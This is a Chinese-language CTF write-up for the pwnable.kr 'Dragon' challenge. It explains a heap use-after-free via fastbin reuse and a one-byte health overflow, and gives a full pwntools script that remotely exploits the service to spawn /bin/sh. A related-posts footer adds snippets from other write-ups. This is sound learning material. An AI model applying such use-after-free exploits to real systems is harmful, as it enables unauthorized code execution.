Pwnable.kr
Dragon —— 堆之 uaf
开始堆的学习之旅。
uaf漏洞利用到了堆的管理中fastbin的特性,关于堆的各种分配方式参见堆之*bin理解
在SecretLevel函数中,发现了隐藏的system("/bin/sh")调用,虽然无法直接执行,但无疑会是后续进展中的有力武器。
在和恐龙战斗的函数结束部分,发现了free掉但没有置空的free(dragon)语句,而在对战胜利后恰有开辟相同大小的空间,并自主写入的部分,由此产生了uaf漏洞。
>>在将dragon的结构体free之后,所指的内存空间会“挂”在fastbin数组下等待下次调用,而没有置空的、原来指向被free空间的dragon指针仍然指向该空间,仍可以在函数中被使用,而之后v2申请的大小和被free的空间的大小相同,会优先从fastbin数组中“摘下来”,此时v2和dragon指针都指向同一块内存空间,所以可以通过对v2的输入和对dragon的调用,实现任意代码执行,所以只要将之前的system(“/bin/sh”)段的地址写入v2,就能获得shell
这个游戏无法通过正常操作获得胜利,但是龙的生命只有一个byte即最多达到127,不断增长的情况下就可能实现溢出导致生命为负,使用有无敌和回技能点的第一个英雄配合母龙很容易达到。
exp:
- #!/usr/bin/env python
- # -*-coding=utf-8-*-
- from pwn import *
- # context.log_level = 'debug'
- # io = process("./dragon")
- io = remote("pwnable.kr",9004)
- elf = ELF("./dragon")
- binsh = 0x804935c
- sys_addr = elf.symbols["system"]
- call_sys = 0x8048dbf
- # to pretend to be defeated at first
- io.recvuntil("night\n")
- io.sendline("")
- io.recvuntil("cible.\n")
- io.sendline("")
- io.recvuntil("cible.\n")
- io.sendline("")
- io.recvuntil("night\n")
- io.sendline("")
- # to track the mom dragon come out and make it overflow
- for i in range (4):
- io.recvuntil("ble.\n")
- io.sendline("")
- io.recvuntil("ble.\n")
- io.sendline("")
- io.recvuntil("ble.\n")
- io.sendline("")
- io.recvuntil("As:\n")
- # payload = p32(sys_addr) + p32(binsh)
- payload = p32(call_sys) + '\x00'*8
- io.send(payload)
- io.interactive()
Pwnable.kr的更多相关文章
- pwnable.kr的passcode
前段时间找到一个练习pwn的网站,pwnable.kr 这里记录其中的passcode的做题过程,给自己加深印象. 废话不多说了,看一下题目, 看到题目,就ssh连接进去,就看到三个文件如下 看了一下 ...
- pwnable.kr bof之write up
这一题与前两题不同,用到了静态调试工具ida 首先题中给出了源码: #include <stdio.h> #include <string.h> #include <st ...
- pwnable.kr col之write up
Daddy told me about cool MD5 hash collision today. I wanna do something like that too! ssh col@pwnab ...
- pwnable.kr brainfuck之write up
I made a simple brain-fuck language emulation program written in C. The [ ] commands are not impleme ...
- pwnable.kr login之write up
main函数如下: auth函数如下: 程序的流程如下: 输入Authenticate值,并base64解码,将解码的值代入md5_auth函数中 mad5_auth()生成其MD5值并与f87cd6 ...
- pwnable.kr详细通关秘籍(二)
i春秋作家:W1ngs 原文来自:pwnable.kr详细通关秘籍(二) 0x00 input 首先看一下代码: 可以看到程序总共有五步,全部都满足了才可以得到flag,那我们就一步一步来看 这道题考 ...
- pwnable.kr simple login writeup
这道题是pwnable.kr Rookiss部分的simple login,需要我们去覆盖程序的ebp,eip,esp去改变程序的执行流程 主要逻辑是输入一个字符串,base64解码后看是否与题目 ...
- pwnable.kr第二天
3.bof 这题就是简单的数组越界覆盖,直接用gdb 调试出偏移就ok from pwn import * context.log_level='debug' payload='A'*52+p32(0 ...
- [pwnable.kr]Dragon
0x00: dragon 是一个UAF漏洞的利用. UseAfterFree 是堆的漏洞利用的一种 简单介绍 https://www.owasp.org/index.php/Using_freed_m ...
- [pwnable.kr] - wtf
Q: I don't understand why my exploit is not working. I need your help. download : http://pwnable.kr/ ...
随机推荐
- 我的一个React路由嵌套(多级路由),路由传参之旅
在上一篇react路由之旅中,我们简单地配置了react,进行了react路由及相关知识的学习,引入以及实现一个局部跳转的功能,接下来就是深入学习路由的嵌套以及传参,这是工作中主要用要的. 我的rea ...
- linux下的cron定时任务知识梳理
1 cron定时任务 1.1 cron介绍 为什么需要cron定时任务? 1)cron服务在安装完Linux系统后就默认就存在,主要用来定期执行命令或定期执行指定的应用程序; 2)cron服务默认情况 ...
- TCP协议可靠性是如何保证之滑动窗口,超时重发,序列号确认应答信号
原创文章首发于公众号:「码农富哥」,欢迎收藏和关注,如转载请注明出处! TCP 是一种提供可靠性交付的协议. 也就是说,通过 TCP 连接传输的数据,无差错.不丢失.不重复.并且按序到达. 但是在网络 ...
- Centos 7.5 搭建FTP配置虚拟用户
Centos 7.5 搭建FTP配置虚拟用户 1.安装vsftpd #vsftpd下载地址 http://mirror.centos.org/centos/7/os/x86_64/Packages/v ...
- 特殊符号unicode编码
包括箭头类.基本形状类.货币类.数学类.音乐符号类.对错类.星星类.星座类.国际象棋类.扑克牌类.希腊字母.十字类.法律符号.标点符号,详情见以下网址:http://caibaojian.com/un ...
- VScode搭建OpenCV环境
用vscode来写opencv代码需要自己编译OpenCV,主要用到MinGW-w64和CMake工具.由于可能存在的版本兼容问题,下载这些工具前最好先访问网站: https://github.com ...
- rxjs简单的Observable用例
import React from 'react'; import { Observable } from 'rxjs'; const FlowPage = () => { const onSu ...
- Java学习随笔---常用API(二)
Object类的toString方法 将一个对象返回为字符串形式,但一般使用的时候会覆盖重写toString方法 Object类是所有类的父亲 // public class Person { pri ...
- springboot打成war包并携带第三方jar包
1.修改打包方式为war <packaging>war</packaging> 2.添加第三方依赖的jar到pom 我的第三方jar包在resoueces目录下 ...
- C语言简单编译预处理-笔记
预处理指令 所谓预处理,是指,在编译之前对程序源码进行初步的转换,产生新的源代码提供给编译器.预处理时主要完成:包含其他源文件,定义宏,根据条件决定编译时是否包含某些代码(>防止重复包含某些文件 ...